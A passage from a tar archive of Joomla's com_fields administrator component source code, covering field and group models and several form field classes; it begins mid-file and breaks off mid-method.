		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_user_id']))
			{
				unset($data['created_user_id']);
			}
		}

		if (!JFactory::getUser()->authorise('core.admin', 'com_fields'))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to allow derived classes to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @see     JFormField
	 * @since   3.7.0
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$component  = $this->state->get('field.component');
		$section    = $this->state->get('field.section');
		$dataObject = $data;

		if (is_array($dataObject))
		{
			$dataObject = (object) $dataObject;
		}

		if (isset($dataObject->type))
		{
			$form->setFieldAttribute('type', 'component', $component);

			// Not allowed to change the type of an existing record
			if ($dataObject->id)
			{
				$form->setFieldAttribute('type', 'readonly', 'true');
			}

			// Allow to override the default value label and description through the plugin
			$key = 'PLG_FIELDS_' . strtoupper($dataObject->type) . '_DEFAULT_VALUE_LABEL';

			if (JFactory::getLanguage()->hasKey($key))
			{
				$form->setFieldAttribute('default_value', 'label', $key);
			}

			$key = 'PLG_FIELDS_' . strtoupper($dataObject->type) . '_DEFAULT_VALUE_DESC';

			if (JFactory::getLanguage()->hasKey($key))
			{
				$form->setFieldAttribute('default_value', 'description', $key);
			}

			// Remove placeholder field on list fields
			if ($dataObject->type == 'list')
			{
				$form->removeField('hint', 'params');
			}
		}

		// Setting the context for the category field
		$cat = JCategories::getInstance(str_replace('com_', '', $component) . '.' . $section);

		// If there is no category for the component and section, so check the component only
		if (!$cat)
		{
			$cat = JCategories::getInstance(str_replace('com_', '', $component));
		}

		if ($cat && $cat->get('root')->hasChildren())
		{
			$form->setFieldAttribute('assigned_cat_ids', 'extension', $cat->getExtension());
		}
		else
		{
			$form->removeField('assigned_cat_ids');
		}

		$form->setFieldAttribute('type', 'component', $component);
		$form->setFieldAttribute('group_id', 'context', $this->state->get('field.context'));
		$form->setFieldAttribute('rules', 'component', $component);

		// Looking first in the component models/forms folder
		$path = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/models/forms/fields/' . $section . '.xml');

		if (file_exists($path))
		{
			$lang = JFactory::getLanguage();
			$lang->load($component, JPATH_BASE, null, false, true);
			$lang->load($component, JPATH_BASE . '/components/' . $component, null, false, true);

			if (!$form->loadFile($path, false))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Clean the cache
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		$context = JFactory::getApplication()->input->get('context');

		switch ($context)
		{
			case 'com_content':
				parent::cleanCache('com_content');
				parent::cleanCache('mod_articles_archive');
				parent::cleanCache('mod_articles_categories');
				parent::cleanCache('mod_articles_category');
				parent::cleanCache('mod_articles_latest');
				parent::cleanCache('mod_articles_news');
				parent::cleanCache('mod_articles_popular');
				break;
			default:
				parent::cleanCache($context);
				break;
		}
	}

	/**
	 * Batch copy fields to a new group.
	 *
	 * @param   integer  $value     The new value matching a fields group.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  array|boolean  new IDs if successful, false otherwise and internal error is set.
	 *
	 * @since   3.7.0
	 */
	protected function batchCopy($value, $pks, $contexts)
	{
		// Set the variables
		$user      = JFactory::getUser();
		$table     = $this->getTable();
		$newIds    = array();
		$component = $this->state->get('filter.component');
		$value     = (int) $value;

		foreach ($pks as $pk)
		{
			if ($user->authorise('core.create', $component . '.fieldgroup.' . $value))
			{
				$table->reset();
				$table->load($pk);

				$table->group_id = $value;

				// Reset the ID because we are making a copy
				$table->id = 0;

				// Unpublish the new field
				$table->state = 0;

				if (!$table->store())
				{
					$this->setError($table->getError());

					return false;
				}

				// Get the new item ID
				$newId = $table->get('id');

				// Add the new ID to the array
				$newIds[$pk] = $newId;
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move fields to a new group.
	 *
	 * @param   integer  $value     The new value matching a fields group.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   3.7.0
	 */
	protected function batchMove($value, $pks, $contexts)
	{
		// Set the variables
		$user      = JFactory::getUser();
		$table     = $this->getTable();
		$context   = explode('.', JFactory::getApplication()->getUserState('com_fields.fields.context'));
		$value     = (int) $value;

		foreach ($pks as $pk)
		{
			if ($user->authorise('core.edit', $context[0] . '.fieldgroup.' . $value))
			{
				$table->reset();
				$table->load($pk);

				$table->group_id = $value;

				if (!$table->store())
				{
					$this->setError($table->getError());

					return false;
				}
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
}
com_fields/models/fields.php000060400000025411152455305320012115 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Fields Model
 *
 * @since  3.7.0
 */
class FieldsModelFields extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JModelLegacy
	 * @since   3.7.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'type', 'a.type',
				'name', 'a.name',
				'state', 'a.state',
				'access', 'a.access',
				'access_level',
				'language', 'a.language',
				'ordering', 'a.ordering',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'created_time', 'a.created_time',
				'created_user_id', 'a.created_user_id',
				'group_title', 'g.title',
				'category_id', 'a.category_id',
				'group_id', 'a.group_id',
				'assigned_cat_ids'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// List state information.
		parent::populateState('a.ordering', 'asc');

		$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
		$this->setState('filter.context', $context);

		// Split context into component and optional section
		$parts = FieldsHelper::extract($context);

		if ($parts)
		{
			$this->setState('filter.component', $parts[0]);
			$this->setState('filter.section', $parts[1]);
		}
	}

	/**
	 * Method to get a store id based on the model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  An identifier string to generate the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   3.7.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.context');
		$id .= ':' . serialize($this->getState('filter.assigned_cat_ids'));
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.group_id');
		$id .= ':' . serialize($this->getState('filter.language'));

		return parent::getStoreId($id);
	}

	/**
	 * Method to get a JDatabaseQuery object for retrieving the data set from a database.
	 *
	 * @return  JDatabaseQuery   A JDatabaseQuery object to retrieve the data set.
	 *
	 * @since   3.7.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$user  = JFactory::getUser();
		$app   = JFactory::getApplication();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'DISTINCT a.id, a.title, a.name, a.checked_out, a.checked_out_time, a.note' .
				', a.state, a.access, a.created_time, a.created_user_id, a.ordering, a.language' .
				', a.fieldparams, a.params, a.type, a.default_value, a.context, a.group_id' .
				', a.label, a.description, a.required'
			)
		);
		$query->from('#__fields AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')->join('LEFT', '#__users AS ua ON ua.id = a.created_user_id');

		// Join over the field groups.
		$query->select('g.title AS group_title, g.access as group_access, g.state AS group_state, g.note as group_note');
		$query->join('LEFT', '#__fields_groups AS g ON g.id = a.group_id');

		// Filter by context
		if ($context = $this->getState('filter.context'))
		{
			$query->where('a.context = ' . $db->quote($context));
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			if (is_array($access))
			{
				$access = ArrayHelper::toInteger($access);
				$query->where('a.access in (' . implode(',', $access) . ')');
			}
			else
			{
				$query->where('a.access = ' . (int) $access);
			}
		}

		if (($categories = $this->getState('filter.assigned_cat_ids')) && $context)
		{
			$categories = (array) $categories;
			$categories = ArrayHelper::toInteger($categories);
			$parts = FieldsHelper::extract($context);

			if ($parts)
			{
				// Get the category
				$cat = JCategories::getInstance(str_replace('com_', '', $parts[0]) . '.' . $parts[1]);

				// If there is no category for the component and section, so check the component only
				if (!$cat)
				{
					$cat = JCategories::getInstance(str_replace('com_', '', $parts[0]));
				}

				if ($cat)
				{
					foreach ($categories as $assignedCatIds)
					{
						// Check if we have the actual category
						$parent = $cat->get($assignedCatIds);

						if ($parent)
						{
							$categories[] = (int) $parent->id;

							// Traverse the tree up to get all the fields which are attached to a parent
							while ($parent->getParent() && $parent->getParent()->id != 'root')
							{
								$parent = $parent->getParent();
								$categories[] = (int) $parent->id;
							}
						}
					}
				}
			}

			$categories = array_unique($categories);

			// Join over the assigned categories
			$query->join('LEFT', $db->quoteName('#__fields_categories') . ' AS fc ON fc.field_id = a.id');

			if (in_array('0', $categories))
			{
				$query->where('(fc.category_id IS NULL OR fc.category_id IN (' . implode(',', $categories) . '))');
			}
			else
			{
				$query->where('fc.category_id IN (' . implode(',', $categories) . ')');
			}
		}

		// Implement View Level Access
		if (!$app->isClient('administrator') || !$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ') AND (a.group_id = 0 OR g.access IN (' . $groups . '))');
		}

		// Filter by state
		$state = $this->getState('filter.state');

		// Include group state only when not on on back end list
		$includeGroupState = !$app->isClient('administrator') ||
			$app->input->get('option') != 'com_fields' ||
			$app->input->get('view') != 'fields';

		if (is_numeric($state))
		{
			$query->where('a.state = ' . (int) $state);

			if ($includeGroupState)
			{
				$query->where('(a.group_id = 0 OR g.state = ' . (int) $state . ')');
			}
		}
		elseif (!$state)
		{
			$query->where('a.state IN (0, 1)');

			if ($includeGroupState)
			{
				$query->where('(a.group_id = 0 OR g.state IN (0, 1))');
			}
		}

		$groupId = $this->getState('filter.group_id');

		if (is_numeric($groupId))
		{
			$query->where('a.group_id = ' . (int) $groupId);
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (! empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'author:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 7), true) . '%');
				$query->where('(ua.name LIKE ' . $search . ' OR ua.username LIKE ' . $search . ')');
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.title LIKE ' . $search . ' OR a.name LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$language = (array) $language;

			foreach ($language as $key => $l)
			{
				$language[$key] = $db->quote($l);
			}

			$query->where('a.language in (' . implode(',', $language) . ')');
		}

		// Add the list ordering clause
		$listOrdering  = $this->state->get('list.ordering', 'a.ordering');
		$orderDirn     = $this->state->get('list.direction', 'ASC');

		$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

		return $query;
	}

	/**
	 * Gets an array of objects from the results of database query.
	 *
	 * @param   string   $query       The query.
	 * @param   integer  $limitstart  Offset.
	 * @param   integer  $limit       The number of records.
	 *
	 * @return  array  An array of results.
	 *
	 * @since   3.7.0
	 * @throws  RuntimeException
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$result = parent::_getList($query, $limitstart, $limit);

		if (is_array($result))
		{
			foreach ($result as $field)
			{
				$field->fieldparams = new Registry($field->fieldparams);
				$field->params = new Registry($field->params);
			}
		}

		return $result;
	}

	/**
	 * Get the filter form
	 *
	 * @param   array    $data      data
	 * @param   boolean  $loadData  load current data
	 *
	 * @return  JForm|false  the JForm object or false
	 *
	 * @since   3.7.0
	 */
	public function getFilterForm($data = array(), $loadData = true)
	{
		$form = parent::getFilterForm($data, $loadData);

		if ($form)
		{
			$form->setValue('context', null, $this->getState('filter.context'));
			$form->setFieldAttribute('group_id', 'context', $this->getState('filter.context'), 'filter');
			$form->setFieldAttribute('assigned_cat_ids', 'extension', $this->state->get('filter.component'), 'filter');
		}

		return $form;
	}

	/**
	 * Get the groups for the batch method
	 *
	 * @return  array  An array of groups
	 *
	 * @since   3.7.0
	 */
	public function getGroups()
	{
		$user       = JFactory::getUser();
		$viewlevels = ArrayHelper::toInteger($user->getAuthorisedViewLevels());

		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$query->select('title AS text, id AS value, state');
		$query->from('#__fields_groups');
		$query->where('state IN (0,1)');
		$query->where('context = ' . $db->quote($this->state->get('filter.context')));
		$query->where('access IN (' . implode(',', $viewlevels) . ')');

		$db->setQuery($query);

		return $db->loadObjectList();
	}
}
com_fields/models/fields/fieldlayout.php000060400000011051152455305320014431 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.folder');

/**
 * Form Field to display a list of the layouts for a field from
 * the extension or template overrides.
 *
 * @since  3.9.0
 */
class JFormFieldFieldlayout extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'FieldLayout';

	/**
	 * Method to get the field input for a field layout field.
	 *
	 * @return  string   The field input.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		$extension = explode('.', $this->form->getValue('context'));
		$extension = $extension[0];

		if ($extension)
		{
			// Get the database object and a new query object.
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Build the query.
			$query->select('element, name')
				->from('#__extensions')
				->where('client_id = 0')
				->where('type = ' . $db->quote('template'))
				->where('enabled = 1');

			// Set the query and load the templates.
			$db->setQuery($query);
			$templates = $db->loadObjectList('element');

			// Build the search paths for component layouts.
			$component_path = JPath::clean(JPATH_SITE . '/components/' . $extension . '/layouts/field');

			// Prepare array of component layouts
			$component_layouts = array();

			// Prepare the grouped list
			$groups = array();

			// Add "Use Default"
			$groups[]['items'][] = JHtml::_('select.option', '', JText::_('JOPTION_USE_DEFAULT'));

			// Add the layout options from the component path.
			if (is_dir($component_path) && ($component_layouts = JFolder::files($component_path, '^[^_]*\.php$', false, true)))
			{
				// Create the group for the component
				$groups['_'] = array();
				$groups['_']['id'] = $this->id . '__';
				$groups['_']['text'] = JText::sprintf('JOPTION_FROM_COMPONENT');
				$groups['_']['items'] = array();

				foreach ($component_layouts as $i => $file)
				{
					// Add an option to the component group
					$value = basename($file, '.php');
					$component_layouts[$i] = $value;

					if ($value === 'render')
					{
						continue;
					}

					$groups['_']['items'][] = JHtml::_('select.option', $value, $value);
				}
			}

			// Loop on all templates
			if ($templates)
			{
				foreach ($templates as $template)
				{
					$files = array();
					$template_paths = array(
						JPath::clean(JPATH_SITE . '/templates/' . $template->element . '/html/layouts/' . $extension . '/field'),
						JPath::clean(JPATH_SITE . '/templates/' . $template->element . '/html/layouts/com_fields/field'),
						JPath::clean(JPATH_SITE . '/templates/' . $template->element . '/html/layouts/field'),
					);

					// Add the layout options from the template paths.
					foreach ($template_paths as $template_path)
					{
						if (is_dir($template_path))
						{
							$files = array_merge($files, JFolder::files($template_path, '^[^_]*\.php$', false, true));
						}
					}

					foreach ($files as $i => $file)
					{
						$value = basename($file, '.php');

						// Remove the default "render.php" or layout files that exist in the component folder
						if ($value === 'render' || in_array($value, $component_layouts))
						{
							unset($files[$i]);
						}
					}

					if (count($files))
					{
						// Create the group for the template
						$groups[$template->name] = array();
						$groups[$template->name]['id'] = $this->id . '_' . $template->element;
						$groups[$template->name]['text'] = JText::sprintf('JOPTION_FROM_TEMPLATE', $template->name);
						$groups[$template->name]['items'] = array();

						foreach ($files as $file)
						{
							// Add an option to the template group
							$value = basename($file, '.php');
							$groups[$template->name]['items'][] = JHtml::_('select.option', $value, $value);
						}
					}
				}
			}

			// Compute attributes for the grouped list
			$attr = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
			$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';

			// Prepare HTML code
			$html = array();

			// Compute the current selected values
			$selected = array($this->value);

			// Add a grouped list
			$html[] = JHtml::_(
				'select.groupedlist', $groups, $this->name,
				array('id' => $this->id, 'group.id' => 'id', 'list.attr' => $attr, 'list.select' => $selected)
			);

			return implode($html);
		}

		return '';
	}
}
com_fields/models/fields/type.php000060400000004163152455305320013077 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Fields Type
 *
 * @since  3.7.0
 */
class JFormFieldType extends JFormFieldList
{
	public $type = 'Type';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		$this->onchange = 'typeHasChanged(this);';

		return $return;
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		$options = parent::getOptions();

		$fieldTypes = FieldsHelper::getFieldTypes();

		foreach ($fieldTypes as $fieldType)
		{
			$options[] = JHtml::_('select.option', $fieldType['type'], $fieldType['label']);
		}

		// Sorting the fields based on the text which is displayed
		usort(
			$options,
			function ($a, $b)
			{
				return strcmp($a->text, $b->text);
			}
		);

		JFactory::getDocument()->addScriptDeclaration("
			jQuery( document ).ready(function() {
				Joomla.loadingLayer('load');
			});
			function typeHasChanged(element){
				Joomla.loadingLayer('show');
				var cat = jQuery(element);
				jQuery('input[name=task]').val('field.reload');
				element.form.submit();
			}
		"
		);

		return $options;
	}
}
com_fields/models/fields/section.php000060400000004032152455305320013555 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Fields Section
 *
 * @since  3.7.0
 */
class JFormFieldSection extends JFormFieldList
{
	public $type = 'Section';

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.7.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		// Onchange must always be the change context function
		$this->onchange = 'fieldsChangeContext(jQuery(this).val());';

		return $return;
	}

	/**
	 * Method to get the field input markup for a generic list.
	 * Use the multiple attribute to enable multiselect.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		// Add the change context function to the document
		JFactory::getDocument()->addScriptDeclaration(
			"function fieldsChangeContext(context)
				{
					var regex = new RegExp(\"([?;&])context[^&;]*[;&]?\");
					var url = window.location.href;
					var query = url.replace(regex, \"$1\").replace(/&$/, '');
    					window.location.href = (query.length > 2 ? query + \"&\" : \"?\") + (context ? \"context=\" + context : '');
				}"
		);

		return parent::getInput();
	}
}
com_fields/models/fields/fieldcontexts.php000060400000002725152455305320014773 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Fields Contexts
 *
 * @since  3.7.0
 */
class JFormFieldFieldcontexts extends JFormFieldList
{
	public $type = 'Fieldcontexts';

	/**
	 * Method to get the field input markup for a generic list.
	 * Use the multiple attribute to enable multiselect.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		return $this->getOptions() ? parent::getInput() : '';
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		$parts = explode('.', $this->value);
		$eName = str_replace('com_', '', $parts[0]);
		$file = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $parts[0] . '/helpers/' . $eName . '.php');
		$contexts = array();

		if (!file_exists($file))
		{
			return array();
		}

		$prefix = ucfirst($eName);
		$cName = $prefix . 'Helper';

		JLoader::register($cName, $file);

		if (class_exists($cName) && is_callable(array($cName, 'getContexts')))
		{
			$contexts = $cName::getContexts();
		}

		if (!$contexts || !is_array($contexts) || count($contexts) == 1)
		{
			return array();
		}

		return $contexts;
	}
}
com_fields/models/fields/fieldgroups.php000060400000003105152455305320014434 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JFormHelper::loadFieldClass('list');

/**
 * Fields Groups
 *
 * @since  3.7.0
 */
class JFormFieldFieldgroups extends JFormFieldList
{
	public $type = 'Fieldgroups';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		$context = (string) $this->element['context'];
		$states    = $this->element['state'] ?: '0,1';
		$states    = ArrayHelper::toInteger(explode(',', $states));

		$user       = JFactory::getUser();
		$viewlevels = ArrayHelper::toInteger($user->getAuthorisedViewLevels());

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('title AS text, id AS value, state');
		$query->from('#__fields_groups');
		$query->where('state IN (' . implode(',', $states) . ')');
		$query->where('context = ' . $db->quote($context));
		$query->where('access IN (' . implode(',', $viewlevels) . ')');
		$query->order('ordering asc, id asc');

		$db->setQuery($query);
		$options = $db->loadObjectList();

		foreach ($options AS $option)
		{
			if ($option->state == 0)
			{
				$option->text = '[' . $option->text . ']';
			}

			if ($option->state == 2)
			{
				$option->text = '{' . $option->text . '}';
			}
		}

		return array_merge(parent::getOptions(), $options);
	}
}
com_fields/models/group.php000060400000022410152455305320011777 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Group Model
 *
 * @since  3.7.0
 */
class FieldsModelGroup extends JModelAdmin
{
	/**
	 * @var null|string
	 *
	 * @since   3.7.0
	 */
	public $typeAlias = null;

	/**
	 * Allowed batch commands
	 *
	 * @var array
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id'   => 'batchLanguage'
	);

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success, False on error.
	 *
	 * @since   3.7.0
	 */
	public function save($data)
	{
		// Alter the title for save as copy
		$input = JFactory::getApplication()->input;

		// Save new group as unpublished
		if ($input->get('task') == 'save2copy')
		{
			$data['state'] = 0;
		}

		return parent::save($data);
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.7.0
	 * @throws  Exception
	 */
	public function getTable($name = 'Group', $prefix = 'FieldsTable', $options = array())
	{
		$this->addTablePath(JPATH_ADMINISTRATOR . '/components/com_fields/tables');

		return JTable::getInstance($name, $prefix, $options);
	}

	/**
	 * Abstract method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.7.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$context = $this->getState('filter.context');
		$jinput = JFactory::getApplication()->input;

		if (empty($context) && isset($data['context']))
		{
			$context = $data['context'];
			$this->setState('filter.context', $context);
		}

		// Get the form.
		$form = $this->loadForm(
			'com_fields.group.' . $context, 'group',
			array(
				'control'   => 'jform',
				'load_data' => $loadData,
			)
		);

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on Edit State access controls.
		if (empty($data['context']))
		{
			$data['context'] = $context;
		}

		if (!JFactory::getUser()->authorise('core.edit.state', $context . '.fieldgroup.' . $jinput->get('id')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('state', 'disabled', 'true');

			// Disable fields while saving. The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('state', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission for the component.
	 *
	 * @since   3.7.0
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->state != -2)
		{
			return false;
		}

		return JFactory::getUser()->authorise('core.delete', $record->context . '.fieldgroup.' . (int) $record->id);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission for the
	 *                   component.
	 *
	 * @since   3.7.0
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();

		// Check for existing fieldgroup.
		if (!empty($record->id))
		{
			return $user->authorise('core.edit.state', $record->context . '.fieldgroup.' . (int) $record->id);
		}

		// Default to component settings.
		return $user->authorise('core.edit.state', $record->context);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function populateState()
	{
		parent::populateState();

		$context = JFactory::getApplication()->getUserStateFromRequest('com_fields.groups.context', 'context', 'com_fields', 'CMD');
		$this->setState('filter.context', $context);
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  array  An array of conditions to add to ordering queries.
	 *
	 * @since   3.7.0
	 */
	protected function getReorderConditions($table)
	{
		return 'context = ' . $this->_db->quote($table->context);
	}

	/**
	 * Method to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @see     JFormField
	 * @since   3.7.0
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		parent::preprocessForm($form, $data, $group);

		$parts = FieldsHelper::extract($this->state->get('filter.context'));

		// Extract the component name
		$component = $parts[0];

		// Extract the optional section name
		$section = (count($parts) > 1) ? $parts[1] : null;

		if ($parts)
		{
			// Set the access control rules field component value.
			$form->setFieldAttribute('rules', 'component', $component);
		}

		if ($section !== null)
		{
			// Looking first in the component models/forms folder
